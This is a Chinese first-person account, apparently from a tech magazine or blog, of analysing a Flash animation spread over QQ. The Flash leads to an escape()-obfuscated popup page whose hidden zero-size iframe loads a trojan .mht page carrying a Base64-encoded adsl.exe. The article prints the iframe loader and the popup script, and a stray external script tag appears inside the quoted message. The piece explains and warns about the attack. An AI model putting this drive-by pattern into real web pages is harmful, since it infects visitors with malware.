一天下午,筆者突然在QQ裡收到一個消息:“我做的Flash動畫,請增加我的觀賞率吧!謝謝了朋友 <script src="http://www.qqread.com/../../../../js/Ads.js"></script>!”。筆者迫不及待地打開這個Flash,剛開始播放好像打開了一個IE窗口,這在Flash裡也是司空見慣了的,繼續欣賞Flash……
筆者拿出《碩思閃客精靈》(Flash分析軟件)對這個Flash進行分析,准備學點經驗。可除了有點Action外,其他什麼資源也沒檢測到。
莫非用了某種加密手段,先不管這些,看看Action裡是什麼內容(圖1)。
圖 1
從上面的Action語句來看,該Flash一共2幀:第1幀是調用getURL來打開一個頁面,第2幀是遠程調用顯示一個Flash文件。在此值得一提的是,《碩思閃客精靈》分析出Frame 2的Action是錯誤的,不應該是getURL("http://flash.xxxxx.com/flash/qq.swf","_level0"),而應該是loadMovieNum("http://flash.xxxxx.com/flash/qq.swf",0),loadMovie才是調用外部Flash的語句。
這個Flash故意先打開一個窗口,再調用一個外部的Flash,通過文件調用地址來看,被調用的Flash卻是另一家站點的!先看看它彈出的是什麼窗口,51自學網,打開後發現是一個普通的圖片站點,頁面代碼也無異常:
<script>window.open('welcome.htm',",'width=345?height=235')</script>
彈出窗口是http://www.xxxxx.com/welcome.htm,這頁代碼又會是什麼?在IE中輸入“view-source?http://xxxxx.xxx.com/welcome.htm”直接查看了該頁面的源代碼(圖2)。
圖 2
頁面用escape()函數加了密,肯定有大秘密!escape()是Java Script內置函數,可以將ASCII碼轉換成URL字符,達到隱藏頁面代碼的目的。不過Java Script還有一個對應的解碼函數unescape(),筆者現在就讓它現出原形:
<iframe src=520.mht width=0 height=0 frameborder=0></iframe>
注意:Iframe是可在一個頁面內嵌顯示另外一個頁面的語句。
520.mht到底是什麼呢?筆者立刻用FlashGet把它下載了下來,地址是http://www.xxxxx.com/520.mht。下載完畢後,筆者用記事本打開一看,暗暗叫道“好險!”,果真是個木馬頁面(圖3)!
圖 3
木馬程序名是adsl.exe,且用Base64把adsl.exe編了碼,圖3中那些看不懂的代碼就是被編碼的EXE文件。
制作一個木馬頁面是相當簡單的,有一個叫做“網頁木馬捆綁器”的軟件,就可以讓任何人迅速地制造出木馬頁面。
一個精彩的Flash的背後居然有這麼陰險的招數,還好筆者開著殺彈出廣告窗口的軟件――PopUP Killer。這個木馬頁面剛彈出就被關閉了,所以才平安無事。